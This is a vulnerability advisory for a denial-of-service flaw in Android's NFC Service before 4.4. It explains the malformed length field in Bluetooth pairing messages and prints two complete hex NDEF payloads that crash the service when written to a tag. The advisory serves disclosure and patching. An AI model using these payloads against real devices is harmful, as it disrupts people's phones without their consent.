Android NFC Service Denial of Service
------------------------------------------------------------------
I. Summary
NFC Service is a process of Android OS for providing access to NFC functionality, allowing
applications to read NDEF message in NFC tags. A flaw has beend found in NFC Service implementation in
Android OS before 4.4. When a bluetooth pair tag written with a crafted message is touched by a phone
with Android OS before 4.4, it will cause a denial of service of NFC service.
------------------------------------------------------------------
II. Description
According to the NFC Bluetooth Simple Pairing Message Specification(NFC Forum), construct a message
with its field "Length of Local Name" set to 0b0000 0000 or 0b1XXX XXXX(X means any binary value).
Then write the crafted messages to NFC tag. Touch the NFC tag with a smart phone with Android OS
before 4.4, NFC Service will crash. The reason for this is that NFC Stack don't parse zero length or
negative length correctly (com.android.nfc.handover.HandoverManager.parseBtOob/
com.android.nfc.handover.HandoverManager.parse). Here are two crafted messages.
Eg.1 zero value
DA 20 1C 01 61 70 70 6C 69 63 61 74 69 6F 6E 2F
76 6E 64 2E 62 6C 75 65 74 6F 6F 74 68 2E 65 70
2E 6F 6F 62 30 1C 00 5C 5C 5C 5C 5C 5C [00] 09 41
6E 64 72 6F 69 64 04 0D 0C 02 40 05 03 1E 11 0B 11
Eg.2 negative value
DA 20 1C 01 61 70 70 6C 69 63 61 74 69 6F 6E 2F
76 6E 64 2E 62 6C 75 65 74 6F 6F 74 68 2E 65 70
2E 6F 6F 62 30 1C 00 5C 5C 5C 5C 5C 5C [80] 09 41
6E 64 72 6F 69 64 04 0D 0C 02 40 05 03 1E 11 0B 11
------------------------------------------------------------------
III. Impact
This bug cause a DoS of NFC service and NFC function returns to normal until NFC Service reboot
automatically .
------------------------------------------------------------------
IV. Affected
Android OS before 4.4. Other customized OS based on Android may also be affected due to this bug, such
as MIUI before 5.30.
------------------------------------------------------------------
V. Solution
modify the source codes about Bluetooth pairing message parsing.
